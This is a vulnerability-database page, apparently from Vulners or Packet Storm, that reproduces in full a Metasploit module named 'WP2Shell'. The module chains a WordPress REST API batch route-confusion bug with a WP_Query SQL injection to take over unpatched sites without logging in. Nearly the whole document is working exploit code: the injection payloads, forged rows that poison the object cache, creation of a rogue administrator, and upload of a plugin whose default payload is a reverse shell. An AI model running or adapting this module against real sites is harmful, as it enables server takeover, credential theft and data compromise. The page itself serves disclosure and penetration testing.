π WordPress WP2Shell SQL Injection / Remote Code Execution
ποΈΒ 07 Aug 2026Β 00:00:00Reported byΒ haongo, Adam Kues, dtro, TF1T, Crypto-CatTypeΒ
Β packetstormπΒ packetstorm.newsπΒ 8Β Views
| Reporter | Title | Published | Views | Family All 127 |
|---|---|---|---|---|
| Exploit for CVE-2026-63030 | 21 Jul 202617:44 | β | githubexploit | |
| Exploit for CVE-2026-63030 | 17 Jul 202623:10 | β | githubexploit | |
| Exploit for CVE-2026-63030 | 19 Jul 202615:52 | β | githubexploit | |
| Exploit for Interpretation Conflict in Wordpress | 27 Jul 202604:45 | β | githubexploit | |
| Exploit for CVE-2026-60137 | 18 Jul 202606:40 | β | githubexploit | |
| Exploit for CVE-2026-63030 | 19 Jul 202614:07 | β | githubexploit | |
| Exploit for SQL Injection in Wordpress | 5 Aug 202608:48 | β | githubexploit | |
| Exploit for CVE-2026-63030 | 19 Jul 202614:42 | β | githubexploit | |
| Exploit for Interpretation Conflict in Wordpress | 27 Jul 202621:03 | β | githubexploit | |
| Exploit for Interpretation Conflict in Wordpress | 4 Aug 202616:43 | β | githubexploit |
10
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# WP2Shell unauthenticated WordPress core SQLi-to-RCE exploit module.
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
# Raised when a batch/SQLi response cannot be delivered or decoded.
class WordPressBatchDesyncError < RuntimeError; end
include Msf::Payload::Php
include Msf::Auxiliary::Report
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::Remote::HTTP::Wordpress::SQLi
prepend Msf::Exploit::Remote::AutoCheck
# Static timestamp used for every forged wp_posts row.
POST_DATE = '2020-01-01 00:00:00'
# High base value for the transient (non-cached) loop-partner post IDs.
FAKE_ID_BASE = 1_800_000_000
# oEmbed shortcode dimensions; must match EMBED_ATTRS_SERIALIZED below.
EMBED_WIDTH = '500'
EMBED_HEIGHT = '750'
# PHP-serialized {width:500,height:750}, part of the oembed_cache post_name hash.
EMBED_ATTRS_SERIALIZED = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}'
def initialize(info = {})
wp_username = "wp_svc_#{Faker::Internet.username(specifier: 5..8).gsub(/[^a-zA-Z0-9]/, '').downcase}"
super(
update_info(
info,
'Name' => 'WordPress WP2Shell REST API Batch Route Confusion SQLi to RCE',
'AKA' => ['WP2Shell'],
'Description' => %q{
This module chains two WordPress core vulnerabilities, together known as
WP2Shell, to gain unauthenticated remote code execution against default
installs of WordPress 6.9.0-6.9.4 and 7.0.0-7.0.1.
The vulnerabilities are fixed in WordPress 6.9.5 and 7.0.2.
CVE-2026-60137 is an SQL injection in WP_Query's author__not_in parameter, and
CVE-2026-63030 is a REST API batch endpoint route-confusion bug that lets an
unauthenticated request reach that injection.
The module uses the injection to read the database table prefix and the
administrator user ID, poisons WordPress' object cache to publish a crafted
customizer changeset, and re-enters the REST API with administrator privileges
to create a new administrator account. It then logs in as that account, uploads
a plugin containing a Metasploit payload, and executes it for a session. Once a
session is obtained the uploaded plugin is removed, and the created administrator
account is removed as well unless KeepAdmin is set.
},
'License' => MSF_LICENSE,
'Author' => [
'Adam Kues', # CVE-2026-63030 discovery (Assetnote / Searchlight Cyber, aka hashkitten)
'TF1T', # CVE-2026-60137 discovery
'dtro', # CVE-2026-60137 discovery
'haongo', # CVE-2026-60137 discovery
'Crypto-Cat' # Metasploit module
],
'References' => [
['CVE', '2026-63030'],
['CVE', '2026-60137'],
['URL', 'https://wordpress.org/news/2026/07/wordpress-7-0-2-release/'],
['URL', 'https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/'],
['URL', 'https://github.com/Crypto-Cat/wp2shell'],
['URL', 'https://wp2shell.com/']
],
'DisclosureDate' => '2026-07-17',
'Privileged' => false,
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter_reverse_tcp',
'EXTENSIONS' => 'stdapi'
}
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options(
[
OptString.new('WP_USER', [true, 'Username for the administrator account to create', wp_username]),
OptString.new('WP_PASS', [true, 'Password for the administrator account to create', Faker::Internet.password(min_length: 20, max_length: 24)]),
OptString.new('WP_EMAIL', [true, 'Email for the administrator account to create', Faker::Internet.email(name: wp_username)])
]
)
register_advanced_options(
[
OptString.new('TablePrefix', [false, 'WordPress DB table prefix (auto-discovered when blank)', '']),
OptInt.new('WpAdminId', [false, 'Existing administrator user ID used for changeset ownership (auto-discovered when 0)', 0]),
OptBool.new('KeepAdmin', [false, 'Keep the administrator account created during exploitation (by default it is removed once a session is obtained)', false])
]
)
end
def check
@batch_endpoint = nil
@union_marker = nil
@wordpress_service = nil
return CheckCode::Unknown('Target is not online or not running WordPress') unless wordpress_and_online?
wp_version = wordpress_version
print_status("WordPress version: #{wp_version}") if wp_version
if wp_version && !version_in_range?(wp_version)
return CheckCode::Safe("WordPress #{wp_version} is outside the vulnerable range (6.9.0-6.9.4, 7.0.0-7.0.1)")
end
negotiate_batch_endpoint
return CheckCode::Unknown('REST API batch endpoint did not respond as expected') if @batch_endpoint.nil?
@wordpress_service ||= report_wordpress_service
# In-band UNION extraction is what the RCE chain relies on (the forged cache
# rows must survive as one query), so confirming it is what earns Vulnerable.
create_sqli_instance
begin
if @sqli.test_vulnerable
return CheckCode::Vulnerable(
'Confirmed batch route-confusion SQL injection (in-band UNION)',
vuln: { service: @wordpress_service }
)
end
rescue WordPressBatchDesyncError => e
vprint_error(e.message)
end
# A boolean oracle proves the injection (CVE-2026-60137), but this RCE module
# is not exploitable unless the forged UNION rows survive into the cache.
# Safe prevents AutoCheck from proceeding with a chain known not to work;
# users can still override it with ForceExploit.
if boolean_oracle_vulnerable?
return CheckCode::Safe('SQL injection confirmed via boolean-blind oracle, but in-band UNION rows do not survive; the WP2Shell RCE chain is not exploitable (persistent object cache?)')
end
if wp_version
CheckCode::Appears("WordPress #{wp_version} is in the vulnerable range but injection could not be confirmed")
else
CheckCode::Detected('REST API batch endpoint is present but injection could not be confirmed')
end
end
def exploit
unless datastore['AutoCheck']
@batch_endpoint = nil
@union_marker = nil
@wordpress_service = nil
end
@created_admin = false
@admin_cleanup = nil
negotiate_batch_endpoint
fail_with(Failure::NotFound, 'REST API batch endpoint is not available') if @batch_endpoint.nil?
@wordpress_service ||= report_wordpress_service
create_sqli_instance
begin
prefix = discover_prefix
admin_id = discover_admin_id(prefix)
ensure_admin_username_available!(prefix)
embed_url = find_embed_url
fail_with(Failure::NoTarget, 'No published post or page found; the target needs at least one for oEmbed') if embed_url.nil?
print_status("Using oEmbed trigger post: #{embed_url}")
token = Rex::Text.rand_text_hex(6)
print_status('Seeding oEmbed cache posts...')
seed_oembed(embed_url, token)
cache_ids = extract_cache_ids(embed_url, token, prefix)
fail_with(Failure::UnexpectedReply, 'Could not locate the seeded oembed_cache posts (persistent object cache?)') if cache_ids.nil?
print_good("oEmbed cache post IDs: #{cache_ids.join(', ')}")
print_status("Triggering escalation chain to create administrator '#{datastore['WP_USER']}'...")
unless escalate(cache_ids, embed_url, token, admin_id)
fail_with(Failure::NoAccess, 'Privilege escalation / user creation failed')
end
@created_admin = true
print_good('Administrator account created via changeset re-entry')
rescue WordPressBatchDesyncError => e
fail_with(Failure::UnexpectedReply, e.message)
end
cookie = wordpress_login(datastore['WP_USER'], datastore['WP_PASS'])
fail_with(Failure::NoAccess, 'Login as the created administrator failed') if cookie.nil?
@admin_cleanup = { cookie: cookie, prefix: prefix, admin_id: admin_id }
report_admin
print_good("Authenticated as the created administrator '#{datastore['WP_USER']}'")
upload_and_execute_payload(cookie)
end
def on_new_session(session)
super
return unless @created_admin && @admin_cleanup
@created_admin = false if remove_created_admin(**@admin_cleanup)
end
def cleanup
return unless @created_admin && @admin_cleanup
@created_admin = false if remove_created_admin(**@admin_cleanup)
ensure
super
end
# Builds the in-band SQLi object. The query proc receives a complete SELECT
# statement from the engine, wraps it as a scalar subquery inside a forged
# wp_posts row's title, delivers it through the batch desync, and returns the
# decoded result.
def create_sqli_instance
@sqli = create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |query|
union_extract(query)
end
end
def union_extract(query)
title_expr = "concat(0x#{union_marker.unpack1('H*')},hex(cast((#{query}) as char)))"
decode_union(union_inject(forge_scalar_row(title_expr)))
end
def discover_prefix
configured = datastore['TablePrefix'].to_s
unless configured.empty?
fail_with(Failure::BadConfig, 'TablePrefix may only contain letters, numbers, and underscores') unless configured.match?(/\A[A-Za-z0-9_]+\z/)
return configured
end
prefix = wordpress_sqli_identify_table_prefix
fail_with(Failure::NotFound, 'Could not discover the WordPress database table prefix') if prefix.nil? || prefix.empty?
print_good("Discovered table prefix: #{prefix}")
prefix
end
def discover_admin_id(prefix)
configured = datastore['WpAdminId'].to_i
return configured if configured > 0
result = @sqli.run_sql(
"select u.ID from #{prefix}users u " \
"inner join #{prefix}usermeta m on u.ID=m.user_id " \
"where m.meta_key='#{prefix}capabilities' " \
"and m.meta_value like '%administrator%' order by u.ID limit 1"
)
admin_id = positive_integer(result)
if admin_id
print_good("Discovered administrator user ID: #{admin_id}")
return admin_id
end
fail_with(Failure::NotFound, 'Could not discover an existing WordPress administrator user ID')
end
def ensure_admin_username_available!(prefix)
user_count = integer(
@sqli.run_sql("select count(1) from #{prefix}users where user_login=#{sql_hex(datastore['WP_USER'])}")
)
fail_with(Failure::UnexpectedReply, 'Could not determine whether WP_USER already exists') if user_count.nil? || user_count.negative?
return if user_count.zero?
fail_with(Failure::BadConfig, "WP_USER '#{datastore['WP_USER']}' already exists; choose a unique username to prevent deleting a pre-existing account")
end
# Delivers a forged post whose content holds four [embed] shortcodes. When the
# posts controller renders it, WordPress resolves each embed locally and writes
# an oembed_cache post we can later address by its deterministic post_name.
def seed_oembed(embed_url, token)
urls = (0..3).map { |i| "#{embed_url}##{token}#{i}" }
content = urls.map { |u| embed_shortcode(u) }.join
union_inject(sql_post_row(0, content: content))
end
def extract_cache_ids(embed_url, token, prefix)
ids = []
(0..3).each do |i|
key = oembed_cache_key("#{embed_url}##{token}#{i}")
value = @sqli.run_sql(
"select ID from #{prefix}posts " \
"where post_type='oembed_cache' and post_name='#{key}' limit 1"
)
pid = positive_integer(value)
return nil if pid.nil?
ids << pid
end
ids
end
def escalate(cache_ids, embed_url, token, admin_id)
graph = build_poison_graph(cache_ids, admin_id)
changeset_json = build_changeset(graph)
rows = build_poison_rows(graph, changeset_json, "#{embed_url}##{token}1")
user_body = {
'username' => datastore['WP_USER'],
'password' => datastore['WP_PASS'],
'email' => datastore['WP_EMAIL'],
'roles' => ['administrator']
}
# This request performs multiple nested REST callbacks, so allow the full
# escalation graph enough time to complete before checking the login.
res = union_inject(
rows,
tail_requests: [{ 'method' => 'POST', 'path' => '/wp/v2/users', 'body' => user_body }],
timeout: 60
)
return true if user_creation_confirmed?(res)
# The die() inside the re-entry can abort the batch response before the 201
# is serialised, so fall back to confirming via a login attempt.
!wordpress_login(datastore['WP_USER'], datastore['WP_PASS']).nil?
end
# Assigns the four cached post IDs and two transient IDs to their roles in the
# two hierarchy loops. cache_ids order: [changeset, oembed, navitem, reentry].
def build_poison_graph(cache_ids, admin_id)
base = FAKE_ID_BASE + rand(100_000_000)
{
changeset_id: cache_ids[0],
oembed_id: cache_ids[1],
navitem_id: cache_ids[2],
reentry_id: cache_ids[3],
outer_id: base,
inner_id: base + 1,
admin_id: admin_id
}
end
# The customizer changeset JSON stored in the forged changeset post_content.
# A positive nav_menu_item id drives the UPDATE path whose hierarchy check
# detects the second loop and fires the parse_request re-entry.
def build_changeset(graph)
{
"nav_menu_item[#{graph[:navitem_id]}]" => {
'value' => {
'object_id' => graph[:inner_id],
'object' => 'post',
'menu_item_parent' => 0,
'position' => 1,
'type' => 'post_type',
'title' => '',
'url' => '',
'description' => '',
'attr_title' => '',
'target' => '',
'classes' => '',
'xfn' => '',
'status' => 'publish',
'nav_menu_term_id' => 0,
'_invalid' => false
},
'type' => 'nav_menu_item',
'user_id' => graph[:admin_id]
}
}.to_json
end
# The seven forged wp_posts rows that poison the object cache.
def build_poison_rows(graph, changeset_json, embed_url)
# Anti-recursion guard: only the first read returns the real oembed id, so
# the chain fires exactly once instead of looping on re-entry.
oembed_id_expr = "IF((@_wp2s:=IFNULL(@_wp2s,0)+1)=1,#{graph[:oembed_id]},2000000000)"
rows = [
# Trigger: [embed] shortcode content, rendered by the_content.
sql_post_row(0, content: embed_shortcode(embed_url)),
# Changeset: future+past date auto-publishes -> privilege escalation.
sql_post_row(graph[:changeset_id], content: changeset_json, status: 'future',
slug: SecureRandom.uuid, parent: graph[:outer_id], post_type: 'customize_changeset'),
# Outer loop partner (parent=changeset) creates loop 1.
sql_post_row(graph[:outer_id], status: 'draft', parent: graph[:changeset_id]),
# oEmbed target: empty content -> cache fallthrough -> wp_update_post.
sql_post_row(oembed_id_expr, parent: graph[:changeset_id]),
# Nav menu item: poisoned type so is_nav_menu_item() enters the UPDATE path.
sql_post_row(graph[:navitem_id], post_type: 'nav_menu_item'),
# Re-entry post: type=request + status=parse fires the parse_request hook.
sql_post_row(graph[:reentry_id], status: 'parse',
parent: graph[:inner_id], post_type: 'request'),
# Inner loop partner (parent=reentry) creates loop 2.
sql_post_row(graph[:inner_id], status: 'draft', parent: graph[:reentry_id])
]
rows.join(' UNION ALL ')
end
def user_creation_confirmed?(res)
nested_batch_responses(res).any? { |response| response.is_a?(Hash) && response['status'] == 201 }
rescue WordPressBatchDesyncError => e
vprint_error(e.message)
false
end
def upload_and_execute_payload(cookie)
plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(6).downcase}"
payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(6).downcase}"
zip = generate_plugin(plugin_name, payload_name)
print_status('Uploading plugin containing the payload...')
fail_with(Failure::UnexpectedReply, 'Plugin upload failed') unless wordpress_upload_plugin(plugin_name, zip.pack, cookie)
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
register_dir_for_cleanup("../#{plugin_name}")
print_status("Executing payload at #{payload_uri}...")
# Fire-and-forget: the request that triggers the payload will block until the
# session is set up, so use a short timeout rather than waiting on the body.
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
end
# The WordPress mixin calls this as soon as it confirms the application. Keep
# the application service distinct from its HTTP and transport layers so all
# subsequently reported data can be linked to the same service record.
def report_wordpress_service
common = { host: rhost, port: rport, proto: 'tcp' }
transport = common.merge(name: 'tcp', parents: nil)
transport = common.merge(name: 'ssl', parents: transport) if ssl
@wordpress_service = report_service(
common.merge(
name: 'WordPress',
resource: { uri: normalize_uri(target_uri.path) },
parents: common.merge(name: ssl ? 'https' : 'http', parents: transport)
)
)
end
# AutoCheck reports the vulnerability after #check returns. Associate that
# report with the application service instead of the first same-port parent.
def report_vuln(opts = {})
super(opts.merge(service: opts[:service] || @wordpress_service))
end
def report_admin
print_good("Administrator credentials: #{datastore['WP_USER']}:#{datastore['WP_PASS']}")
credential_data = {
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: datastore['WP_USER'],
private_type: :password,
private_data: datastore['WP_PASS'],
service_name: 'WordPress',
address: rhost,
port: rport,
protocol: 'tcp',
access_level: 'administrator',
status: Metasploit::Model::Login::Status::SUCCESSFUL,
last_attempted_at: Time.now
}
credential_data[:service_id] = @wordpress_service.id if @wordpress_service
create_credential_and_login(credential_data)
store_loot(
'wordpress.admin.created',
'text/plain',
datastore['RHOST'],
"Username: #{datastore['WP_USER']}, Password: #{datastore['WP_PASS']}\n",
'wp_admin_credentials.txt',
'WordPress Created Admin Credentials',
@wordpress_service
)
report_vuln(
host: datastore['RHOST'],
port: datastore['RPORT'],
proto: 'tcp',
service: @wordpress_service,
name: name,
refs: references,
info: 'Unauthenticated admin creation via REST batch route-confusion chain'
)
end
# Removes the administrator account created during exploitation. The session
# runs as the web-server user and is independent of this account, so deleting
# it removes the loudest artifact of the chain without affecting the session.
def remove_created_admin(cookie:, prefix:, admin_id:)
if datastore['KeepAdmin']
print_warning("KeepAdmin is set; the administrator account '#{datastore['WP_USER']}' remains on the target.")
return true
end
user_id = positive_integer(
@sqli.run_sql("select ID from #{prefix}users where user_login=#{sql_hex(datastore['WP_USER'])} limit 1")
)
nonce = wordpress_rest_nonce(cookie)
if user_id.nil? || nonce.nil?
print_warning("Could not prepare cleanup of '#{datastore['WP_USER']}'; remove the account manually.")
return false
end
res = rest_request(
'DELETE', "/wp/v2/users/#{user_id}",
'cookie' => cookie,
'headers' => { 'X-WP-Nonce' => nonce },
'vars_get' => { 'force' => 'true', 'reassign' => admin_id.to_s }
)
if res && res.code == 200
print_good("Removed the created administrator account '#{datastore['WP_USER']}'")
true
else
print_warning("Failed to remove '#{datastore['WP_USER']}' (HTTP #{res&.code || 'no response'}); remove the account manually.")
false
end
rescue WordPressBatchDesyncError => e
print_warning("Cleanup of '#{datastore['WP_USER']}' failed (#{e.message}); remove the account manually.")
false
end
# Scrapes the wp_rest nonce that wp-admin embeds for authenticated REST calls.
def wordpress_rest_nonce(cookie)
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(wordpress_url_backend, 'profile.php'), 'cookie' => cookie)
return nil unless res && res.code == 200
script_content = res.get_html_document.css('script').map(&:text).join("\n")
script_content[/wpApiSettings\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-f0-9]+)"/m, 1] ||
script_content[/createNonceMiddleware\(\s*["']([a-f0-9]+)["']\s*\)/, 1]
end
# Issues a REST request using whichever endpoint style the batch probe found
# (pretty permalinks vs the ?rest_route= fallback).
def rest_request(method, route, opts = {})
if @batch_endpoint && @batch_endpoint['vars_get']
vars_get = (opts['vars_get'] || {}).merge('rest_route' => route)
send_request_cgi(opts.merge('method' => method, 'uri' => normalize_uri(target_uri.path), 'vars_get' => vars_get))
else
segments = route.split('/').reject(&:empty?)
send_request_cgi(opts.merge('method' => method, 'uri' => normalize_uri(target_uri.path, 'wp-json', *segments)))
end
end
# Determines whether the batch endpoint is reachable via pretty permalinks
# (/wp-json/batch/v1) or the ?rest_route= fallback, and caches the request
# parameters used for every subsequent batch call.
def negotiate_batch_endpoint
return @batch_endpoint unless @batch_endpoint.nil?
pretty = { 'uri' => normalize_uri(target_uri.path, 'wp-json', 'batch', 'v1') }
if batch_response?(send_request_cgi(pretty.merge('method' => 'POST', 'ctype' => 'application/json', 'data' => '{"requests":[]}')))
vprint_status('Batch endpoint: /wp-json/batch/v1 (pretty permalinks)')
return @batch_endpoint = pretty
end
fallback = { 'uri' => normalize_uri(target_uri.path), 'vars_get' => { 'rest_route' => '/batch/v1' } }
if batch_response?(send_request_cgi(fallback.merge('method' => 'POST', 'ctype' => 'application/json', 'data' => '{"requests":[]}')))
vprint_status('Batch endpoint: /?rest_route=/batch/v1 (fallback)')
return @batch_endpoint = fallback
end
nil
end
# Accept a valid batch envelope even if a proxy/WAF rewrites the usual HTTP 207
# status code.
def batch_response?(res)
return false unless res
doc = res.get_json_document
doc.is_a?(Hash) && doc['responses'].is_a?(Array)
end
def send_batch(payload, timeout = nil)
negotiate_batch_endpoint
raise WordPressBatchDesyncError, 'REST API batch endpoint is not available' if @batch_endpoint.nil?
request = @batch_endpoint.merge(
'method' => 'POST',
'ctype' => 'application/json',
'data' => payload.to_json
)
res = if timeout.nil?
send_request_cgi(request)
else
send_request_cgi(request, timeout)
end
raise WordPressBatchDesyncError, 'No response from the batch endpoint' if res.nil?
res
end
# Boolean oracle: the injected condition decides whether the inner users query
# returns a row, which we observe through the doubly-nested batch response.
def blind_inject(condition, timeout: nil)
send_batch(blind_payload("0) AND (#{condition})-- -"), timeout)
end
# UNION injection through the widgets->posts cross-schema desync. per_page=500
# disables split_the_query so the forged rows survive into the result set.
def union_inject(rows, tail_requests: nil, timeout: nil)
sqli = "0) AND 1=0 UNION ALL #{rows}#{"\n-- " * 6}"
send_batch(union_payload(sqli, tail_requests), timeout)
end
def blind_payload(sqli)
inner = {
'requests' => [
desync_primer,
{ 'method' => 'GET', 'path' => "/wp/v2/users?author_exclude=#{uri_encode(sqli)}" },
{ 'method' => 'GET', 'path' => '/wp/v2/posts' },
{ 'method' => 'GET', 'path' => '/wp/v2/categories' }
]
}
outer_batch(inner)
end
def union_payload(sqli, tail_requests)
inner = [
desync_primer,
{ 'method' => 'GET', 'path' => "/wp/v2/widgets?author_exclude=#{uri_encode(sqli)}&per_page=500&orderby=none" },
{ 'method' => 'GET', 'path' => '/wp/v2/posts' },
{ 'method' => 'GET', 'path' => '/wp/v2/categories' }
]
if tail_requests
inner.concat(tail_requests)
inner << { 'method' => 'POST', 'path' => '/wp/v2/users', 'body' => {} }
end
outer_batch({ 'requests' => inner })
end
# Wraps an inner batch so the outer desync dispatches it through the posts
# handler, which re-parses the body as a nested batch.
def outer_batch(inner)
{
'requests' => [
desync_primer,
{ 'method' => 'POST', 'path' => '/wp/v2/posts', 'body' => inner },
{ 'method' => 'POST', 'path' => '/batch/v1', 'body' => { 'requests' => [] } }
]
}
end
def desync_primer
{ 'method' => 'POST', 'path' => '///' }
end
def decode_union(res)
body = res&.body.to_s
idx = body.index(union_marker)
return nil if idx.nil?
hex = body[(idx + union_marker.length)..][/\A\h*/]
return '' if hex.nil? || hex.empty?
return nil if hex.length.odd?
[hex].pack('H*').force_encoding('UTF-8').scrub
end
def boolean_oracle_vulnerable?
oracle('1=1') && !oracle('1=2')
rescue WordPressBatchDesyncError => e
vprint_error(e.message)
false
end
def oracle(condition)
responses = nested_batch_responses(blind_inject(condition))
response = responses[1]
return false unless response.is_a?(Hash)
body = response['body']
body.is_a?(Array) && !body.empty?
end
def version_in_range?(version)
v = Rex::Version.new(version)
v.between?(Rex::Version.new('6.9.0'), Rex::Version.new('6.9.4')) ||
v.between?(Rex::Version.new('7.0.0'), Rex::Version.new('7.0.1'))
end
def nested_batch_responses(res)
raise WordPressBatchDesyncError, 'No batch response received' if res.nil?
outer_responses = batch_responses(res.get_json_document, 'outer')
nested_response = outer_responses[1]
unless nested_response.is_a?(Hash) && nested_response['body'].is_a?(Hash)
raise WordPressBatchDesyncError, 'Malformed outer batch response envelope'
end
batch_responses(nested_response['body'], 'inner')
end
def batch_responses(doc, level)
responses = doc.is_a?(Hash) ? doc['responses'] : nil
return responses if responses.is_a?(Array)
raise WordPressBatchDesyncError, "Malformed #{level} batch response envelope"
end
def positive_integer(value)
parsed = integer(value)
parsed if parsed&.positive?
end
def integer(value)
Integer(value.to_s, 10, exception: false)
end
# Random marker rendered into the forged post_title so UNION output can be recovered
# from the response body regardless of JSON/HTML encoding around it.
def union_marker
@union_marker ||= Rex::Text.rand_text_hex(16)
end
def embed_shortcode(url)
"[embed width=\"#{EMBED_WIDTH}\" height=\"#{EMBED_HEIGHT}\"]#{url}[/embed]"
end
# post_name of the oembed_cache entry WordPress writes for a given embed URL.
def oembed_cache_key(url)
Rex::Text.md5(url + EMBED_ATTRS_SERIALIZED)
end
# Percent-encodes every byte outside the RFC 3986 unreserved set, including
# newlines and slashes. Rex::Text.uri_encode('hex-all') leaves 0x0A intact,
# and a raw newline in the sub-request path breaks WordPress' query parsing.
def uri_encode(str)
str.b.gsub(/[^A-Za-z0-9_.\-~]/) { |c| format('%%%02X', c.ord) }
end
def sql_hex(str)
return "''" if str.nil? || str.empty?
'0x' + str.unpack1('H*')
end
# Emits one SELECT clause matching the wp_posts schema. row_id may be an integer
# or a raw SQL expression (used for the dynamic oEmbed id). Recognised opts:
# :content, :title, :status, :slug, :parent, :post_type, :author.
def sql_post_row(row_id, opts = {})
content = opts[:content].to_s
title = opts[:title] || Rex::Text.rand_text_hex(8)
status = opts[:status] || 'publish'
slug = opts[:slug] || "r#{Rex::Text.rand_text_hex(3)}"
parent = opts[:parent] || 0
post_type = opts[:post_type] || 'post'
author = opts[:author] || 1
columns = [
row_id.to_s, author.to_s, "'#{POST_DATE}'", "'#{POST_DATE}'",
sql_hex(content), sql_hex(title), "''", sql_hex(status),
"'closed'", "'closed'", "''", sql_hex(slug), "''", "''",
"'#{POST_DATE}'", "'#{POST_DATE}'", "''", parent.to_s, "''",
'0', sql_hex(post_type), "''", '0'
]
'SELECT ' + columns.join(',')
end
# A single forged wp_posts row whose title carries the UNION-extracted value.
def forge_scalar_row(title_expr)
columns = [
'99999999', '1', "'#{POST_DATE}'", "'#{POST_DATE}'", "''",
title_expr, "''", "'publish'", "'closed'", "'closed'", "''",
sql_hex("u#{Rex::Text.rand_text_hex(4)}"), "''", "''",
"'#{POST_DATE}'", "'#{POST_DATE}'", "''", '0', "''", '0',
"'post'", "''", '0'
]
'SELECT ' + columns.join(',')
end
# Locates a published post or page whose canonical URL can drive local oEmbed
# resolution. Tries posts first, then falls back to pages (WordPress always
# creates a "Sample Page" on install).
def find_embed_url
%w[posts pages].each do |type|
res = rest_request(
'GET', "/wp/v2/#{type}",
'vars_get' => { 'per_page' => '1', '_fields' => 'link' }
)
next unless res && res.code == 200
doc = res.get_json_document
return doc[0]['link'] if doc.is_a?(Array) && doc[0].is_a?(Hash) && doc[0]['link']
end
nil
end
endData
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
07 Aug 2026 00:00Current
9.8High risk
Vulners AI Score9.8
CVSS 3.19.8
EPSS0.98417
SSVC